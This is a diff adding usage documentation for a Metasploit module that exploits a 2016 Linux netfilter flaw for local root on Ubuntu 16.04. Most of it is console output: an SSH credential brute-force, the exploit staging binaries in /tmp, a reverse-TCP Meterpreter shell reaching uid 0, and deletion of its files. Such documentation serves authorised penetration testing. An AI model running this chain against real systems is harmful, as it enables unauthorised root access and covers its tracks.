|
| 1 | +## Notes |
| 2 | + |
| 3 | +Originally this module was written to drop the binary files on the target via metasm. However, metasm wasn't able to compile due to the libc6-dev-i386 requirement, so it was decided to compile on the target or drop included binary instead of compiling real time. |
| 4 | + |
| 5 | +This module (and the original exploit) are written in two parts: desc, and pwn. Desc does the heavy lifting to prep/condition the environment, pwn does the payload executing. |
| 6 | + |
| 7 | +## Creating A Testing Environment |
| 8 | + |
| 9 | +There are a few requirements for this module to work (ubuntu): |
| 10 | + |
| 11 | + 1. ip_tables.ko has to be loaded (root running iptables -L will do such) |
| 12 | + 2. shem and sham can not be installed/running |
| 13 | + |
| 14 | +This module has been tested against: |
| 15 | + |
| 16 | + 1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic) |
| 17 | + 2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic |
| 18 | + |
| 19 | +This does not work against the following vulnerable systems. Additional work may be required to the binary and C code to enable these targets. |
| 20 | + |
| 21 | + 1. Fedora 24 < [kernel-4.6.3-300](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c18) |
| 22 | + 2. Fedora 22 < [kernel-4.4.14-200](https://bugzilla.redhat.com/show_bug.cgi?id=1349722#c19) |
| 23 | + 3. RHEL < [kernel-3.10.0-327.36.1.el7](https://rhn.redhat.com/errata/RHSA-2016-1847.html) |
| 24 | + 4. Suse < [kernel-default-3.12.59-60.45.2](http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00060.html) |
| 25 | + |
| 26 | +## Verification Steps |
| 27 | + |
| 28 | + 1. Start msfconsole |
| 29 | + 2. Exploit a box via whatever method |
| 30 | + 4. Do: `use exploit/linux/local/netfilter_priv_esc` |
| 31 | + 5. Do: `set session #` |
| 32 | + 6. Do: `set verbose true` |
| 33 | + 7. Do: `exploit` |
| 34 | + |
| 35 | +## Options |
| 36 | + |
| 37 | + **MAXWAIT** |
| 38 | + |
| 39 | + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) |
| 40 | + |
| 41 | + **WritableDir** |
| 42 | + |
| 43 | + A folder we can write files to. Defaults to /tmp |
| 44 | + |
| 45 | + **REEXPLOIT** |
| 46 | + |
| 47 | + When re-exploiting, no need to run desc (it may even fail), so we can simply run pwn and get our shell. |
| 48 | + |
| 49 | +## Scenarios |
| 50 | + |
| 51 | +### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic) |
| 52 | + |
| 53 | +#### Initial Access |
| 54 | + |
| 55 | + msf > use auxiliary/scanner/ssh/ssh_login |
| 56 | + msf auxiliary(ssh_login) > set rhosts 127.0.0.1 |
| 57 | + rhosts => 127.0.0.1 |
| 58 | + msf auxiliary(ssh_login) > set username nagios |
| 59 | + username => nagios |
| 60 | + msf auxiliary(ssh_login) > set password nagios |
| 61 | + password => nagios |
| 62 | + msf auxiliary(ssh_login) > exploit |
| 63 | + |
| 64 | + [*] SSH - Starting bruteforce |
| 65 | + [+] SSH - Success: 'nagios:nagios' 'uid=1000(nagios) gid=1000(nagios) groups=1000(nagios),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1001(nagcmd) Linux nagios 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' |
| 66 | + [!] No active DB -- Credential data will not be saved! |
| 67 | + [*] Command shell session 1 opened (127.0.0.1:36085 -> 127.0.0.1:22) at 2016-09-16 01:15:34 -0400 |
| 68 | + [*] Scanned 1 of 1 hosts (100% complete) |
| 69 | + [*] Auxiliary module execution completed |
| 70 | + |
| 71 | +#### Escalate |
| 72 | + |
| 73 | + [*] Started reverse TCP handler on 192.168.2.117:4444 |
| 74 | + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed |
| 75 | + [+] libc6-dev-i386 is installed |
| 76 | + [+] gcc-multilib is installed |
| 77 | + [+] gcc is installed |
| 78 | + [*] Live compiling exploit on system |
| 79 | + [*] Checking if ip_tables is loaded in kernel |
| 80 | + [+] ip_tables.ko is loaded |
| 81 | + [*] Checking if shem or sham are installed |
| 82 | + [+] shem and sham not present. |
| 83 | + [*] Writing desc executable to /tmp/fI1xW1Js.c |
| 84 | + [*] Max line length is 65537 |
| 85 | + [*] Writing 3291 bytes in 1 chunks of 11490 bytes (octal-encoded), using printf |
| 86 | + [*] Executing /tmp/fI1xW1Js, may take around 35s to finish. Watching for /tmp/GWqpwKnG to be created. |
| 87 | + [*] Waited 0s so far |
| 88 | + [*] Waited 10s so far |
| 89 | + [*] Waited 20s so far |
| 90 | + [*] Waited 30s so far |
| 91 | + [+] desc finished, env ready. |
| 92 | + [*] Writing payload to /tmp/Thzyfenv |
| 93 | + [*] Max line length is 65537 |
| 94 | + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf |
| 95 | + [*] Writing pwn executable to /tmp/wmfFiQKu.c |
| 96 | + [*] Max line length is 65537 |
| 97 | + [*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf |
| 98 | + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 99 | + [*] Sending stage (1495599 bytes) to 192.168.2.137 |
| 100 | + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60982) at 2016-09-24 17:22:47 -0400 |
| 101 | + [+] Deleted /tmp/fI1xW1Js.c |
| 102 | + [+] Deleted /tmp/GWqpwKnG |
| 103 | + [+] Deleted /tmp/fI1xW1Js |
| 104 | + [+] Deleted /tmp/Thzyfenv |
| 105 | + [+] Deleted /tmp/wmfFiQKu.c |
| 106 | + [+] Deleted /tmp/wmfFiQKu |
| 107 | + |
| 108 | + meterpreter > sysinfo |
| 109 | + Computer : ubuntu |
| 110 | + OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64) |
| 111 | + Architecture : x86_64 |
| 112 | + Meterpreter : x86/linux |
| 113 | + meterpreter > getuid |
| 114 | + Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 |
| 115 | + |
| 116 | +#### Escalate w/ pre-compiled binaries |
| 117 | + |
| 118 | + msf exploit(netfilter_priv_esc) > exploit |
| 119 | + |
| 120 | + [*] Started reverse TCP handler on 192.168.2.117:4444 |
| 121 | + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed |
| 122 | + [-] libc6-dev-i386 is not installed. Compiling will fail. |
| 123 | + [-] gcc-multilib is not installed. Compiling will fail. |
| 124 | + [-] gcc is not installed. Compiling will fail. |
| 125 | + [*] Dropping pre-compiled exploit on system |
| 126 | + [*] Checking if ip_tables is loaded in kernel |
| 127 | + [+] ip_tables.ko is loaded |
| 128 | + [*] Checking if shem or sham are installed |
| 129 | + [+] shem and sham not present. |
| 130 | + [*] Max line length is 65537 |
| 131 | + [*] Writing 7820 bytes in 1 chunks of 21701 bytes (octal-encoded), using printf |
| 132 | + [*] Executing /tmp/8lQZGJdL, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created. |
| 133 | + [*] Waited 0s so far |
| 134 | + [*] Waited 10s so far |
| 135 | + [*] Waited 20s so far |
| 136 | + [*] Waited 30s so far |
| 137 | + [+] desc finished, env ready. |
| 138 | + [*] Writing payload to /tmp/2016_4997_payload |
| 139 | + [*] Max line length is 65537 |
| 140 | + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf |
| 141 | + [*] Writing pwn executable to /tmp/nOO6sYqi |
| 142 | + [*] Max line length is 65537 |
| 143 | + [*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf |
| 144 | + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 145 | + [*] Sending stage (1495599 bytes) to 192.168.2.137 |
| 146 | + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:46778) at 2016-09-24 21:24:22 -0400 |
| 147 | + [+] Deleted /tmp/okDjTFSS |
| 148 | + [+] Deleted /tmp/2016_4997_payload |
| 149 | + [+] Deleted /tmp/nOO6sYqi |
| 150 | + |
| 151 | + meterpreter > sysinfo |
| 152 | + Computer : ubuntu |
| 153 | + OS : Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (x86_64) |
| 154 | + Architecture : x86_64 |
| 155 | + Meterpreter : x86/linux |
| 156 | + meterpreter > getuid |
| 157 | + Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 |
| 158 | + |
| 159 | +#### Re-exploit |
| 160 | + |
| 161 | +In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again. |
| 162 | + |
| 163 | + msf exploit(netfilter_priv_esc) > set reexploit true |
| 164 | + reexploit => true |
| 165 | + msf exploit(netfilter_priv_esc) > exploit |
| 166 | + |
| 167 | + [*] Started reverse TCP handler on 192.168.2.117:4444 |
| 168 | + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed |
| 169 | + [+] libc6-dev-i386 is installed |
| 170 | + [+] gcc-multilib is installed |
| 171 | + [+] gcc is installed |
| 172 | + [*] Live compiling exploit on system |
| 173 | + [*] Checking if ip_tables is loaded in kernel |
| 174 | + [+] ip_tables.ko is loaded |
| 175 | + [*] Checking if shem or sham are installed |
| 176 | + [+] shem and sham not present. |
| 177 | + [*] Writing payload to /tmp/egMfQrrI |
| 178 | + [*] Max line length is 65537 |
| 179 | + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf |
| 180 | + [*] Writing pwn executable to /tmp/Yf8CAdMu.c |
| 181 | + [*] Max line length is 65537 |
| 182 | + [*] Writing 1326 bytes in 1 chunks of 4699 bytes (octal-encoded), using printf |
| 183 | + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 184 | + [*] Sending stage (1495599 bytes) to 192.168.2.137 |
| 185 | + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60984) at 2016-09-24 17:29:06 -0400 |
| 186 | + [+] Deleted /tmp/egMfQrrI |
| 187 | + [+] Deleted /tmp/Yf8CAdMu.c |
| 188 | + [+] Deleted /tmp/Yf8CAdMu |
| 189 | + |
| 190 | + meterpreter > |
| 191 | + |
| 192 | +#### Re-exploit w/ pre-compiled binaries |
| 193 | + |
| 194 | + msf exploit(netfilter_priv_esc) > set reexploit true |
| 195 | + reexploit => true |
| 196 | + msf exploit(netfilter_priv_esc) > exploit |
| 197 | + |
| 198 | + [*] Started reverse TCP handler on 192.168.2.117:4444 |
| 199 | + [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed |
| 200 | + [+] libc6-dev-i386 is installed |
| 201 | + [-] gcc-multilib is not installed. Compiling will fail. |
| 202 | + [-] gcc is not installed. Compiling will fail. |
| 203 | + [*] Dropping pre-compiled exploit on system |
| 204 | + [*] Checking if ip_tables is loaded in kernel |
| 205 | + [+] ip_tables.ko is loaded |
| 206 | + [*] Checking if shem or sham are installed |
| 207 | + [+] shem and sham not present. |
| 208 | + [*] Writing payload to /tmp/2016_4997_payload |
| 209 | + [*] Max line length is 65537 |
| 210 | + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf |
| 211 | + [*] Writing pwn executable to /tmp/SZrv2NOR |
| 212 | + [*] Max line length is 65537 |
| 213 | + [*] Writing 8456 bytes in 1 chunks of 22023 bytes (octal-encoded), using printf |
| 214 | + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 215 | + [*] Sending stage (1495599 bytes) to 192.168.2.137 |
| 216 | + [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:60996) at 2016-09-24 20:47:03 -0400 |
| 217 | + |
| 218 | + meterpreter > |
0 commit comments